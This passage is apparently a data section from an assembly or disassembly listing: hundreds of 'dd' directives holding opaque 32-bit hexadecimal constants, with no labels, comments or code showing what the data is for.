dd 487C36BFh, 9F395060h, 1964D18h, 43D2583h, 0D0977691h
dd 5E00567Eh, 0D3DCE30Eh, 0FB63C9h, 838EA561h, 0BE086A10h
dd 0A1B1C530h, 0E3243E5h, 4B27641Fh, 0BBB28180h, 6D3F2651h
dd 107A0F77h, 38B400E3h, 0CE203D3h, 0EFDA638Fh, 0C1072141h
dd 4C279996h, 78AD8C3h, 488D2A19h, 4E8E10B7h, 7F50A461h
dd 0F000A0B7h, 8F20BAB6h, 98788698h, 7E5186Ch, 84BCD9E7h
dd 0C00C2EEh, 9159A6D5h, 0F8C157D9h, 0FB78B7h, 362D9DF2h
dd 0A4C6B293h, 0BE45D003h, 7BC97D9h, 0F0565E20h, 0E0CE2013h
dd 0CA604E5Ch, 0B0F5B210h, 0F610032Ch, 0F93B575Dh, 0CD970818h
dd 0B0DED220h, 3312002Ah, 0B3E22D8Eh, 7C605CC6h, 0C8B5FA41h
dd 85371E71h, 0CC5EC09Dh, 872CEB51h, 634A4239h, 921330h
dd 29460350h, 0A7A6BC9Ah, 0D62BEB01h, 40AD95CFh, 3C59A0h
dd 8D104A18h, 1201460Ch, 7D625F00h, 9773FC17h, 0ECCD009Eh
dd 39262E9Ch, 50C1BDA6h, 0B064C9D7h, 0C673F088h, 0ED2F9200h
dd 0F6709Ch, 0CF06E48Ch, 0BF9BE8F4h, 59160507h, 9E8797D3h
dd 99C0B644h, 4003C1h, 6D6932A4h, 0DB6F55F7h, 4B019AB8h
dd 8D1B863Eh, 0C4CD9CBDh, 7A9B20h, 0D75AF85Dh, 9BB437A0h
dd 0E7483A73h, 0CE3AA5h, 0B97A8AB8h, 3B9886h, 842AF993h
dd 4DE9FAC0h, 0F01FD900h, 27BED51h, 9EF80176h, 0FE0E9794h
dd 0E969708Bh, 28252D01h, 710A6154h, 9E041D0h, 21AEC6A0h
dd 0A86E5901h, 0D369F8B6h, 6B52BE18h, 77FB410h, 22E82EEEh
dd 0DAD0B15Bh, 68A1FC5Ah, 4FD20C0h, 60880AF2h, 0DA541060h
dd 0E0048C2h, 9A8FA594h, 3BC066h, 0B7F806F4h, 61716B54h
dd 4800C1E6h, 99155ED3h, 81B942h, 80177CDBh, 6D880C56h
dd 0A3C951C2h, 7F1CE093h, 855B00BAh, 0F5CAABC3h, 94066433h
dd 51BEB676h, 59E400B1h, 5FB2C7D6h, 6100F8BFh, 0C53537BBh
dd 67D25CF1h, 31EF2954h, 806ABE1Dh, 32280311h, 0E084A63Dh
dd 480100BAh, 0F3859F1Dh, 20784ECBh, 86EAE03Bh, 5560DE6Ch
dd 0DFAA0738h, 2049A7EDh, 0FEACB173h, 0E9B50132h, 40BA8F02h
dd 0B88CE6C8h, 57D0C3A6h, 609FF627h, 75BE5607h, 21695003h
dd 80BC617Fh, 2E5CA32Dh, 17658EFDh, 0CF810C51h, 3F6FB7B9h
dd 785F00B1h, 0B5EAD3h, 6717697Fh, 0E415EBA9h, 0DBC2A700h
dd 0D1C855E1h, 0B6980CF3h, 6B81C917h, 4177F700h, 690DDBB3h
dd 88807E2h, 5303572Bh, 4FC18DABh, 89698650h, 37087766h
dd 0CF41FF15h, 6F97F523h, 0F9171E8h, 0F152560Dh, 36C4F9B4h
dd 881092BDh, 8FDE7Ch, 0DA4B7DACh, 58303304h, 2351FE00h
dd 1F85931Ah, 8BA7183Eh, 227A31B9h, 4BCD6D0Fh, 815F401Bh
dd 0BD3730h, 8AA95EEBh, 3C771036h, 0C6171A03h, 14FD1FBEh
dd 0D0733838h, 417B09Ah, 4D2F80DFh, 55F9C1F8h, 79E05048h
dd 94415141h, 0CA10B3EDh, 0AA00AB92h, 26E94FD3h, 0FCF3D888h
dd 0CB95027Ah, 8BA0B663h, 8501A044h, 57AAC9A7h, 99F88925h
dd 0DA400023h, 1CE6DB0Dh, 0D3004C02h, 5FBCF2F5h, 62316DD6h
dd 0E3069930h, 819D5C61h, 7903B711h, 73D09F21h, 0FD1801DFh
dd 5CC54AEEh, 0D8E4705Eh, 0DCCA5D0Ch, 36B488C9h, 0D0E1723Fh
dd 49550C33h, 419C6D0h, 47EE33F4h, 7AC8D869h, 26B3A301h
dd 0E7E2111Eh, 4C9FDB20h, 1D00C8CDh, 778E8608h, 0F950C4D5h
dd 40B10B98h, 0EE18B979h
dd 0A70D981Ch, 35430C5Dh, 0D0E9F499h, 0C06F75AAh, 0C7F8BDA1h
dd 0B500ED32h, 3565957Eh, 0A6038Ah, 93DEE5EBh, 8EF9310Ch
dd 908CF40Dh, 16F490C0h, 5629071Eh, 0C011186Bh, 0C853CE81h
dd 0B126620Ch, 5889A4h, 27742596h, 7FC0A7EAh, 0B70C3D03h
dd 0F0483B9Bh, 1FAEE8Fh, 9EB7933h, 4D5CEC70h, 0F7E8FCB0h
dd 553D1E07h, 0E2911971h, 1424B201h, 2E210008h, 0B0A26473h
dd 923A7D74h, 2109339Fh, 972EF072h, 95B4005Eh, 7A78E503h
dd 0E8F0B556h, 8B807554h, 80E66F38h, 0D488C0A0h, 5049C8FBh
dd 529FC4C2h, 32CF03Dh, 0C31E4060h, 5001DF8Ch, 0C079E428h
dd 0D851FB7Eh, 8801BCFCh, 1A398063h, 4118B7F4h, 39D5E49Ch
dd 0F580EF6Ah, 7B292EA3h, 68C82178h, 656E8E74h, 89483092h
dd 883749C6h, 0A1702177h, 70A415E9h, 71FB0022h, 3DB0C27Ch
dd 0CA58B450h, 85F4483Fh, 0A861F056h, 9463D2B4h, 0A5D56202h
dd 2CE05D25h, 4A80A745h, 89EA0058h, 4D8C42A3h, 4F038077h
dd 569DB7Eh, 0B429D0F3h, 0AD510A3Eh, 80F4BFA8h, 445FD276h
dd 783A3F1Ch, 5CC0A4D5h, 70601844h, 0E81075EEh, 0CFC85ADAh
dd 0EE789480h, 485689B5h, 0CE80A897h, 0E371D264h, 8104344Dh
dd 0FB06D807h, 0CA26CC50h, 0C6991221h, 96B420B1h, 2003F54Dh
dd 29E79FDBh, 9CCFC019h, 5EE038DEh, 22F8E524h, 0F6FF3E18h
dd 0BBCCF39h, 816AB91Ch, 11B708F7h, 4D1834C8h, 0E0FD1B0Ah
dd 7692C038h, 0BEC83C43h, 77490068h, 0D3043ABDh, 7B03A055h
dd 5A8C1814h, 2F29D0C0h, 0A6E009F0h, 6490D2B7h, 30A4217Bh
dd 3E9E08C4h, 37D24C8h, 0D5F611DFh, 40FCBEFAh, 947BBAA5h
dd 1268E632h, 3A29383Ah, 0B66C1094h, 0E4B585C1h, 88F7DC80h
dd 6D2EBE72h, 0F4427811h, 2668E88Eh, 0A0603F7h, 0D449DF7Ch
dd 69C15BB8h, 0E36A7114h, 91316081h, 0C38867h, 8D8F1D74h
dd 53D26D89h, 5CE951C4h, 1C7BF0C0h, 0D1112E1Dh, 0BF630362h
dd 99036239h, 3113196Eh, 8E7DA1ACh, 7E2EADE0h, 203D01F0h
dd 27283391h, 1D6C7203h, 207A85h, 81F00EA0h, 2DBFEA5h
dd 0A7F62700h, 0F4520624h, 0C4B741E2h, 0B1C4BC11h, 4A4F155h
dd 0B0DA0465h, 90A9646Fh, 12EAAAC4h, 801C9858h, 7D09B5A7h
dd 0EB0C00FEh, 0CE741E2Eh, 4000CC7Ch, 0DEE6E0F6h, 14B13AE8h
dd 0C8188EDCh, 3D8C61BCh, 36928DF2h, 1B00536Ah, 18C1210Ah
dd 66CCC0D0h, 227EA503h, 461C44Ch, 21C8EA29h, 0D89086CDh
dd 9D9EF710h, 53282200h, 23E76D8Dh, 62455B00h, 0E0647ABFh
dd 56820541h, 1830D40Ch, 772158AAh, 0EFC36E18h, 3177AB8h
dd 5A73238Fh, 21C0BE8Bh, 0E11E381Dh, 7B01C619h, 835899FAh
dd 3BC24880h, 71661774h, 15632905h, 1820168Ah, 63209F5h
dd 8126A601h, 400FC1B9h, 85E06687h, 18C0BCD6h, 7D403DAh
dd 0C247CAE8h, 4FD9116Fh, 3060DA44h, 0E3032FE6h, 0E81899D0h
dd 0A5CB07Fh, 24D7779Eh, 314CC32Bh, 104FDBB9h, 286C77F6h
dd 449C254Bh, 0E605026Eh, 0FD5DFFCCh, 0E31DD440h, 24EE5C90h
dd 11306D77h, 5F49000Ch, 0C9309728h, 0F07A0C0Dh, 0BF491975h
dd 32A75102h, 0C09778EBh, 0A7F6B88h, 0B4847112h, 13BC80E0h
dd 0A3A9EB5Fh, 0AFF57C00h, 5EDA87B9h, 0E6F610h, 0A8690607h
dd 6D9F8E08h, 3544DB00h, 6A37BC70h, 2080B878h, 500A745h
dd 8288946Eh, 0BCDCAFh, 0B239317Bh, 1A249C5Ch, 77BA2E00h
dd 4E4D5F7Dh, 6866003Bh, 0A1E9FB70h, 0A805D055h, 72FE952Dh
dd 50A46D84h, 8B4698F4h, 634ED084h, 395D00A9h, 90963C04h
dd 6F01EEB1h, 91B9B8F9h, 80E0F079h, 0A1070267h, 61D39E45h
dd 0C0009CC5h, 0B885CA10h, 0ABD40CB1h, 0F1807397h, 691E8F76h
dd 885D08C8h, 0AD3FE001h, 3C30D56Ah, 0D02C0020h, 0D42A9E39h
dd 2901D66Eh, 0FA6F0962h, 0E3E06B75h, 70200065h, 21351077h
dd 0C37D3C6h, 0E51079F0h, 0AC5F58h, 0A5A33DE7h, 2FA4BC7Ah
dd 1A33D200h, 1E08F14Bh, 0CA4E0063h, 31205006h, 0D201F7FDh
dd 0B9F8FAECh, 7BF14FC4h, 0D31D9440h, 1C3A01A0h, 37835638h
dd 8A7FE0D2h, 0E967F41Dh, 61A560CCh, 61410046h, 11CC4F3Ah
dd 0F960D19Ah, 0A424A018h, 0ABC10323h, 9520302Ch, 0F51A5AA8h
dd 0A0D4A818h, 0F476B940h, 4A91FC6Fh, 1D48E86Eh, 0BC4335DEh
dd 0E9A99FEh, 4ACF3E29h, 0E24194A0h, 44006555h, 0F593BCE0h
dd 28AF8BAh, 0FD049521h, 3E0ACAAh, 281EB127h, 4B803E6Dh
dd 1DAB89C4h, 71F30053h, 81FC78DFh, 8400585Dh, 3F0B1C33h
dd 88A2A7h, 0FEBF6F20h, 78250D38h, 42E1D714h, 320E018Ch
dd 3C6D8F10h, 12A4E08Ah, 383500F7h, 9802F26Ah, 7E56700h
dd 1DCF8733h, 23C200B7h, 0D79AFF6Ch, 0B100303Eh, 342BE3A0h
dd 1EA78266h, 0C33F98ADh, 0CC9D53A4h, 0F6058EF8h, 11330400h
dd 2EF71332h, 2D6300FFh, 0B35E76A3h, 74003FE6h, 8C6FA621h
dd 19865DDh, 66EDD091h, 0C175EA83h, 0D6C7DC63h, 614C0100h
dd 0F7569703h, 587A7804h, 4F3E8060h, 78113200h, 0D7D0D818h
dd 25ED6E0Ch, 37A1831h, 0C8F997CFh, 40F0FBEFh, 0B0F86E21h
dd 0E8174F0Ch, 79A41A5h, 505C7A6Fh, 0E304A1F0h, 0F2088CE4h
dd 7C2049h, 0FD4A7827h, 1C684C9Dh, 0C89CC00h, 0C0EC6AC1h
dd 443C3A58h, 6B47E28Ch, 0B8317478h, 6D65A830h, 0A0C00FE5h
dd 0C2801CC6h, 0CD9D87D9h, 8ACB202Bh, 5D0C6861h, 71D5D7F8h
dd 63270124h, 2C068FDCh, 0C84AEC85h, 708C6400h, 0F2BF47A3h
dd 0BCF900CAh, 932650ADh, 618ABB88h, 0F6E9DEF2h, 1D4D86F8h
dd 1887F5EAh, 2FAA21FDh, 28DBE558h, 0E300385Eh, 0A11F1475h
dd 80E7E2h, 570EB210h, 0D6517D3Ch, 1CF7831Eh, 0C2BC07C0h
dd 3F34F16Ch, 0FC80F568h, 0BEB6E2E7h, 8F61B56Fh, 63744151h
dd 404C8442h, 0E6D8659h, 892AA54h, 2DD68A60h, 2C002706h
dd 83D8464Bh, 28EF690Bh, 3BD0200Ah, 3A7EAC7Ah, 0AA86B743h
dd 8ADCE91h, 0F00B084h, 46C441FEh, 7D112A18h, 70316789h
dd 350500E0h, 0B900D115h, 405B2FCFh, 1682B69h, 81604B4Dh
dd 84447ADDh, 62F64978h, 0E81E2087h, 161FD9h, 0C8E308F9h
dd 3560EAA7h, 15BF3258h, 74704Bh, 0D3C31B0Fh, 0BA51D7E4h
dd 38079602h, 42163B67h, 4035625Ch, 0A7B9410Eh, 2760820h
dd 20ED49CEh, 0CAF03D74h, 0AB52070Dh, 0F7D1F2EEh, 0BA14D0C9h
dd 16001791h, 1AC78A08h, 4ED8C66h, 0B9F0C0C6h, 886C8E3Eh
dd 403FC080h, 6B092B2Eh, 2194D0Bh, 855A9267h, 9CC63EFCh
dd 0D76118C0h, 0B16339D2h, 554DC600h, 0CFAC7805h, 0B0A400D4h
dd 50EDD337h, 9097EB4h, 18894127h, 2DF0B4Ch, 5F5DF618h
dd 0C324EB25h, 0E5F1AC40h, 6D0327CCh, 0DAB68F69h, 0C33EA01Ch
dd 0CD3490Ah, 0BB11D600h, 4F5EFAB5h, 0FCF84700h, 0C30B2458h
dd 0D3ED0033h, 0ECB09D38h, 0E8E43089h, 25E12E09h, 871C2544h
dd 0FD4E981Dh, 0E4031260h, 0D53EB442h, 66E75400h, 0F5CF9E1h
dd 0F2166CEAh, 89B0E8CAh, 2F82BA7Bh, 0F8403FB0h, 5E145C4Ch
dd 0BCBCB1AFh, 0CE008CC9h, 7FD6DD2Eh, 52F301Ah, 0D0756668h
dd 0FCB84033h, 3CB6E115h, 6795DB00h, 1F276085h, 0A14E0324h
dd 0E64336D2h, 90A8E17Ah, 5600989Fh, 79B21554h, 46BA0BCh
dd 5976264Ch, 9D98C8CEh, 2716C302h, 90BA7797h, 13DE5DD0h
dd 624DE95Ah, 402FD71Ch, 7690E5F3h, 8B080278h, 0FFFA1614h
dd 43A59084h, 0F089621Ch, 14A364h, 61D7D25Ah, 7E3D1005h
dd 0FC63B806h, 3FE104D1h
dd 17804552h, 6A857CF9h, 8474A7BFh, 0F2218EFFh, 0B4F46092h
dd 1364A882h, 443625E2h, 0D06274ECh, 3EAA1330h, 8FE7A400h
dd 512F1A7Dh, 0A9000BEh, 6F89E669h, 50C25A86h, 0A0ED6232h
dd 0FBBA3A94h, 0C12C0034h, 96713187h, 0FA70B04Dh, 18D8E309h
dd 8F141AF2h, 609EA8ACh, 50137818h, 91A4A821h, 0FC2300BFh
dd 3C6E2878h, 86B53E97h, 7433BD81h, 0D8875EBBh, 544210Eh
dd 0C4BA0060h, 3FFE30DEh, 19C608F2h, 0F0710EEDh, 58FA1464h
dd 36B8A062h, 0EDA9158Ch, 0EC052449h, 4F1FD66h, 0C46B0FD8h
dd 26D40085h, 3AA897A7h, 4B665500h, 4A83DBD4h, 0E633EC20h
dd 0EA35001Bh, 0E6493B17h, 0D7069DA8h, 149FB12Bh, 56EF0C40h
dd 0F958F4EBh, 0C33A7E00h, 5C9B7283h, 69F139CBh, 0FC89F04Dh
dd 49B60F87h, 4E9AF0B0h, 0E101E498h, 0AEAC4B08h, 80E4E2D2h
dd 0F67F0052h, 13056FA4h, 23526906h, 41C60128h, 0A40CB697h
dd 0FC92660Ch, 4B3AE300h, 6D773FCAh, 0E0F5079Dh, 34BEBD44h
dd 83FC5D31h, 3341E278h, 6C5900EAh, 90D5A581h, 0E607281Eh
dd 13AA2657h, 8C90CA44h, 0C7F437h, 1FBD8D6Ch, 8AAF4167h
dd 0B1C9CD00h, 0EBA86EF6h, 65A10609h, 70EABF68h, 74D7372Eh
dd 0C6C41826h, 4A2B841Eh, 61E897E0h, 603079A1h, 0C60EEF4Ch
dd 721608h, 0EEF0139Dh, 905CB325h, 29181485h, 19B1B120h
dd 0F0183619h, 31FCE06Dh, 0D0362252h, 4338243Eh, 2CE7CD3Dh
dd 56844C04h, 2B01E445h, 8665B469h, 0AAE7E988h, 55900751h
dd 40F002C3h, 789ACE2h, 0C928A390h, 0CA018C20h, 8D3269DDh
dd 0D4514155h, 0EECD6DB2h, 0A2852082h, 0FCEAE269h, 0BEF40848h
dd 203DA930h, 416DA59Dh, 0B8946055h, 0DE12048Ch, 6225F601h
dd 0F0AB20C3h, 0F21D9EE5h, 56DF6D18h, 0CFBE2547h, 2DC27A70h
dd 9D2CA0DCh, 0C04575C5h, 3941F510h, 1A009E72h, 0F14D1787h
dd 76BAE1B1h, 1B7E0052h, 919BF01Dh, 97E494EAh, 1066500h
dd 1A80FFF5h, 1FE422h, 96732B92h, 56A2C9E4h, 5ADD8E00h
dd 2411BACBh, 0F6490ACh, 0B15D63B7h, 4725EA83h, 41E062C3h
dd 0C41629B0h, 0B807ECF9h, 320C60Ah, 36841Bh, 74861997h
dd 23FEDACAh, 0E21721F2h, 0A5004CF3h, 6D3F1624h, 94D500D4h
dd 0C347B944h, 0D4E38470h, 0E21C5080h, 1D00E53Ah, 0F765BFACh
dd 57A7068Ah, 1873EBBCh, 80568C38h, 0A3E8276Ch, 48B91C53h
dd 0D91FCC9Ah, 4D1E0002h, 3BA22BADh, 8F03D0F0h, 17BF2AA7h
dd 6FE7809Fh, 7349016Bh, 5191D1D8h, 6C80EB8Eh, 7007D3C7h
dd 0CDED1C50h, 42E88C30h, 0C5B45056h, 4CAD48E6h, 0A034B503h
dd 0DAC14603h, 63D0F0A3h, 0A5DE211Fh, 0F8F957DEh, 6ACD7600h
dd 0F85B69ECh, 9F28C0C2h, 6B62095Ch, 3EF01C70h, 0CDFA63Eh
dd 0D803AAACh, 44CE1E8h, 2DD203EEh, 74D86589h, 3987D808h
dd 401B1D8Fh, 0C8185845h, 0E63AE779h, 0F74200DEh, 1DBE8E23h
dd 0C16A1DB9h, 0EE02C3E4h, 8D90739Ah, 0B300A98Fh, 0DFA3F24Dh
dd 2F3E31Ch, 0E05FC485h, 28815B23h, 0B8DA685Eh, 0E1C05019h
dd 30027F88h, 0F4A9DEE2h, 60AC47EAh, 54E62B01h, 0CD1BD363h
dd 0CCA0A888h, 0B0F3D000h, 0A0E05E75h, 29A490h, 988F2C0Ch
dd 63E615A9h, 7E79FE61h, 7C4C8CD9h, 87F5481h, 0AC3CA0FCh
dd 316A48BCh, 8450C63Eh, 9A0C84FEh, 40CB6803h, 14237BC1h
dd 48102E5Bh, 5FC35108h, 309AD270h, 5348D5CAh, 3B602386h
dd 0DB2FA239h, 0F6F0E403h, 0E3E60365h, 0C551F819h, 0C30684Ch
dd 313A4657h, 0AF4200ADh, 92E5E68Eh, 0FF624D1Ah, 807193A1h
dd 0FCA5411Ch, 0E6EA1A1Bh, 940042ABh, 14256923h, 9B117760h
dd 1B86801h, 0D64E473Fh, 468FB9D4h, 0D9149084h, 0EF4E2A1h
dd 5D1ED81Ah, 18940CFh, 615F1BC1h, 0AD7A0840h, 4FD63978h
dd 55BB5B01h, 44642567h, 7DDC0434h, 78E6001Ch, 0DEA9087h
dd 2C8380A7h, 8478BAD9h, 0A2615E5Dh, 0F57D9C90h, 2C4A18B8h
dd 0BA2520BCh, 966AA1C0h, 4840418Eh, 0D01DBCC9h, 84815452h
dd 0C7F5130Eh, 0C4044B80h, 0F7005EE6h, 5C1ED585h, 326A596Fh
dd 0BD602FD8h, 660D40BEh, 686C2C41h, 80FF400Ch, 49302989h
dd 0B7DD19CEh, 0F4020FCDh, 392688Ch, 0A0D4D964h, 54AA212Ah
dd 0CD50EA70h, 5031D49Ah, 67B6208Eh, 0E3B0D0BFh, 0BE55AC41h
dd 0C198E679h, 619C5B3Fh, 9A63F4B0h, 103466F1h, 0C1C507Ah
dd 6D682206h, 0ED8E0CF5h, 42D301FEh, 0A33F001Ah, 4CE2F0B1h
dd 390F30FFh, 0DB89ED9Fh, 686C8820h, 0F4031597h, 0DD8DD7Ch
dd 6A08182Bh, 0D0192095h, 0E1049403h, 0EE9B79F9h, 0BC3A0039h
dd 493EAC51h, 0DA0C8E1Bh, 802A2E63h, 813C12D0h, 600C09E8h
dd 3E206CACh, 13B86B69h, 0AB2ED800h, 0C21BF8EDh, 9163A010h
dd 0CA6287E0h, 9A3AE375h, 219330C8h, 9E2ADBh, 0DE14D29Ch
dd 5B67A94Dh, 8D1C6400h, 69D31D6Ch, 0A2C42627h, 0DDA301F8h
dd 33D4477h, 5231C1C7h, 1584BF0h, 84A98E73h, 203CCEE3h
dd 0EA0041C4h, 0AD6C132Bh, 0CD2738h, 3B820146h, 9D9A6431h
dd 84801C00h, 2B04A095h, 532D00F3h, 45D1B28Ah, 0BE00E7A6h
dd 0FF9F8D5Eh, 0F68E4Dh, 31D2187Ch, 0DF75E3AFh, 1A53B600h
dd 696380C3h, 6F7D3C55h, 16C85700h, 855D8AF1h, 24E80D0Fh
dd 43348066h, 9B18ABh, 0FD9E54CDh, 2A901E35h, 0A5F7CE00h
dd 0ECFBB681h, 55740385h, 0D22EEAC0h, 1CBD6900h, 0EB83231Fh
dd 611300E3h, 415DC740h, 0C201B145h, 0BD1CCABAh, 5CD49408h
dd 51F500F6h, 72344880h, 15307B90h, 0F9DA38EDh, 0C9E8F8h
dd 8D58E595h, 4971B6DCh, 2A2C8198h, 750C4C19h, 37466041h
dd 9098E906h, 0DC28938Dh, 71D50F0Eh, 0C837C1F5h, 0C0805033h
dd 0B8C98366h, 3C2E0D44h, 0B60184A0h, 0B7BBEFF6h, 18FC5FD0h
dd 0D0721CB3h, 0F2E7154h, 0DB009D99h, 0E108EC21h, 9D3C1DFEh
dd 0E2A840DCh, 0B141C1A6h, 9A0D7A03h, 0B0A09CECh, 2B19A573h
dd 71047436h, 449A14Dh, 0E17B78E3h, 4A001009h, 7210629Ah
dd 0E5009B7Dh, 5F0BA248h, 27E8A319h, 5239A466h, 67891E08h
dd 3E132E63h, 0F8D02054h, 0C3B00F37h, 266EA250h, 0C6D10A6Ch
dd 50947241h, 85141848h, 34414C7Bh, 280C79A0h, 6C1C74FAh
dd 231071DFh, 505D8D2Bh, 54BEA021h, 251A760h, 7B041808h
dd 490CC0F8h, 81258BA2h, 0DAC9CCD3h, 1CA6A609h, 6E242703h
dd 0A2204D70h, 30CA508h, 4C2A141Fh, 0F380CD64h, 58508A77h
dd 0EE60238Bh, 5AF3693Ah, 90F10A51h, 705DABh, 3AD7E858h
dd 74E654F2h, 3B9B0F14h, 40BB9FCh, 0FDF207EBh, 0FC17576h
dd 198072EBh, 0E52B1896h, 55075EA1h, 27F8311Ah, 8343C0F2h
dd 0A8FBF220h, 3490BF63h, 0BE194EDFh, 38B8310Ch, 858DF74h
dd 6877EEDh, 48BCBFA4h, 0DEFF0010h, 70305DBAh, 717445BDh
dd 61EBC530h, 24C29F01h, 80988D36h, 8127BA03h, 500C7453h
dd 69C9AF4Ch, 0F2DE30CBh, 0D1C12E49h, 1103EBF0h, 0D444DDF3h
dd 0B947AF7Bh, 2176540h, 0A73A0786h, 2375485Dh, 0F903C627h
dd 8DA2B1B4h, 930FA19Dh, 0A1F41081h, 212456EDh, 0DA489B5Bh
dd 31980009h, 0B25ECFB8h, 0C800157Ch, 2A1852C6h, 0E598C2h
dd 0DF09399Eh, 555D865Fh, 92777C00h, 975ACD82h, 0A0D9C01Bh
dd 0F5DCF4A1h, 0A2778CA8h, 0E88F5C30h, 75A8FC62h, 0FD2E0929h
dd 0E4208CDFh, 8E220C39h, 219B5E0Fh, 0E85A0104h, 10EFFBFAh
dd 2272F28h, 0F6F96087h, 0F3C0A076h, 7B288Ch, 0C9B5D688h
dd 72DF5B3Ah, 96274700h
dd 0FC98E581h, 1D78A3F6h, 3320E1h, 0CEECF586h, 3A7F808Bh
dd 5D00D7EEh, 0D9AF6503h, 7505C4F7h, 218C6FDCh, 3B28ECAh
dd 5B272BDEh, 0A8CFA028h, 4658AC80h, 51C7ED12h, 2CDEF800h
dd 35D198h, 8896D99Dh, 0DC7F4E5Dh, 57A35220h, 0B040A848h
dd 0EB841EF8h, 98B1702h, 14A2FA50h, 882071EDh, 0E42DE993h
dd 0B8195769h, 0C4FA3D08h, 0E840DA44h, 2E751218h, 0F0631A0Fh
dd 9640FC38h, 74FDEAE3h, 0E46F0017h, 127BDF46h, 0D4374E0Fh
dd 0A64079CBh, 9081954Bh, 0CDFD017Ch, 0C8C09A1Dh, 0CA7BF047h
dd 6FBFC20Fh, 23061FA3h, 1ED87009h, 0C059DA45h, 2A66417Fh
dd 52703DB6h, 5072FE24h, 670203Eh, 6C10718Dh, 4304C863h
dd 0AAB0DC7Ch, 0F25DC4D1h, 8CB853h, 0F5A7FA91h, 93F17FAAh
dd 0D800A4AAh, 15CA877Ch, 964871E8h, 0E0F9A144h, 41E58C40h
dd 0A48C41F8h, 0F01C0C81h, 980EB752h, 27366020h, 24B3F6FDh
dd 0C730A42Eh, 9259EC11h, 0A32688A0h, 4C84D2E7h, 9BDC04F4h
dd 181C059h, 1DAD627h, 207CE37Fh, 4B032EF0h, 0A45EA719h
dd 0E0F5B141h, 4A4010F3h, 0BCA500A0h, 98B93B49h, 0B15863DAh
dd 692259F3h, 14A50554h, 8831E848h, 750FB860h, 155ED686h
dd 0DE270358h, 0AA988D49h, 9948909Ah, 26B528BAh, 79CE00F0h
dd 0BF740219h, 38003345h, 0C8AF54B8h, 0A71A26h, 998DA563h
dd 837ED689h, 0D401B890h, 46EB79D9h, 77F18AE4h, 80019450h
dd 25411ABAh, 348571C9h, 9AB0042Fh, 0A4922327h, 88B09708h
dd 547EA29Eh, 0F868B077h, 0FAFE95h, 0C445CE21h, 0C8EA2C0Ch
dd 4AA63401h, 0A4FFE24Bh, 88EC0C20h, 7D78B965h, 268C2252h
dd 2E0290DFh, 0BC4FE8Dh, 8864E601h, 0BE1C615Fh, 0FA160339h
dd 0C0A79027h, 0CF0551CEh, 0ACA09A78h, 0DF82E659h, 0C8C1856Ah
dd 0B4ADBC00h, 78050CA5h, 0ACCF3F86h, 0B728CDCCh, 743D28D0h
dd 2430EFC8h, 1388095Bh, 37F51DFh, 0A2915E1Fh, 0BDFC9026h
dd 69550342h, 0DE985F25h, 151A8180h, 80ED9F0Fh, 7ADB4368h
dd 0D632D859h, 273A00D0h, 9C2484BEh, 0B10012FBh, 4D95C14Eh
dd 93C02C4h, 5FAAA336h, 3D428081h, 0E8FF40A7h, 81008B58h
dd 0BBEE7C3Ah, 1FA343C2h, 8A5E21D0h, 814A542h, 10BA8CFCh
dd 4C08C3DDh, 86085147h, 0DE10B8C0h, 0CBA211F8h, 51278818h
dd 513B5CD3h, 0DDE41874h, 89D1D029h, 9522C624h, 79A826A5h
dd 6C6C6930h, 1C72A298h, 6BD19Dh, 644D83E3h, 6CB027D4h
dd 29003790h, 0BA63B177h, 0FE52142h, 0BBFE8E07h, 47A72D20h
dd 67007CDCh, 0F08C9D8Bh, 0F4B6B0E4h, 388F00CCh, 0B417E048h
dd 0FF00D8B2h, 15F991AAh, 0CE34D6h, 218832DEh, 0C607E436h
dd 1E54B600h, 0DCFAD172h, 43C0067h, 16890831h, 880F1958h
dd 0F7C7FB7h, 7A6CE039h, 7535AA1Bh, 0BCE01C78h, 0DA7F43A9h
dd 68EBA334h, 91A0F8EBh, 54010A47h, 38FBEE92h, 0B1CFCD20h
dd 0C9EC63D9h, 9B3C006Fh, 9ABE5D7h, 43008293h, 0C7A5BEF7h
dd 70783Ah, 9BF23992h, 882FDACFh, 6BBB261Dh, 29EE4D80h
dd 0F2D47104h, 0BF640EC0h, 32825Eh, 0C1D1C6B8h, 5203DBBAh
dd 1C9E3A22h, 6CE9E079h, 0A706502Bh, 1D5733Dh, 0B26EC7FDh
dd 50B0CF68h, 9B0B0AB4h, 0DEA88D00h, 99E4EC7Fh, 0B0E5504Dh
dd 0DA5000E0h, 0E9D29515h, 0D07610B6h, 56B1D700h, 1EAFBF4Ch
dd 9F2FE7Ch, 85A7E78Ch, 48403080h, 0DC07B960h, 9B52FDD4h
dd 0E0896190h, 0C711CFDFh, 9F8C1760h, 60F05314h, 0E63A207Fh
dd 933A0174h, 8C33872Eh, 1F7BE824h, 40A2A79Dh, 7FF88C9h
dd 351D6EE7h, 1BC0FDF2h, 0B4AB24F1h, 0C56D0227h, 9EC72BA7h
dd 15797140h, 0BD0B5100h, 3AB36980h, 981100A8h, 1E729712h
dd 0FA00C8B4h, 2895C0FCh, 1E91466h, 87335A55h, 80A20BB2h
dd 4A32FA80h, 7BF43F8h, 545B5569h, 0C06E95D0h, 815C5C4h
dd 7AD54C00h, 5CCCF3A6h, 92F6DFh, 3E1C899Fh, 1945A064h
dd 0BFDCFB00h, 91A88107h, 3FCA009Eh, 3820F6CDh, 0C006E35h
dd 7BF110EBh, 6D7DD1h, 7E7C501Ah, 0F8F44764h, 1C56923Dh
dd 6C87D99Fh, 0F9FAAFEh, 8FCE4FA2h, 8F871CFBh, 1BD1B84Ch
dd 18802605h, 0E206AF4Ah, 5E017F38h, 86DD57CFh, 9DFCFD64h
dd 4D600050h, 0C2EEB4A6h, 0E10007BDh, 4C641E7Dh, 2715FE6h
dd 0B87BD9F4h, 0C880DD89h, 0D3A179F7h, 4DC23Eh, 0BEE530C9h
dd 7B9AA98h, 5585D19Bh, 71D8904Ch, 0E7B0E3B5h, 153DC07Ah
dd 4DBA0128h, 0DB0FDF6Dh, 48F8EFD0h, 0DE0E56B6h, 10A0CC1Eh
dd 53D5F916h, 0BCD9090Bh, 46F98037h, 1DC27D13h, 27A2E6h
dd 4057B4D4h, 8F028E79h, 0D5551B6Ch, 8228C032h, 0ADC307CDh
dd 50E034B0h, 0FD31B19Eh, 80283F00h, 7CD76225h, 61A0038h
dd 0BA33F3B3h, 8D00501Dh, 0DFA05BC0h, 0F5178B8h, 1E7F31ABh
dd 5EDC51Fh, 0DC1892F9h, 89028846h, 8286C449h, 0B2E080D8h
dd 53BA71h, 7F7B5F3Dh, 0B6880A20h, 440095E2h, 0B58DF510h
dd 5F4E47h, 803124E1h, 0EEDD7C04h, 0E5AD3000h, 0AFD0BDA8h
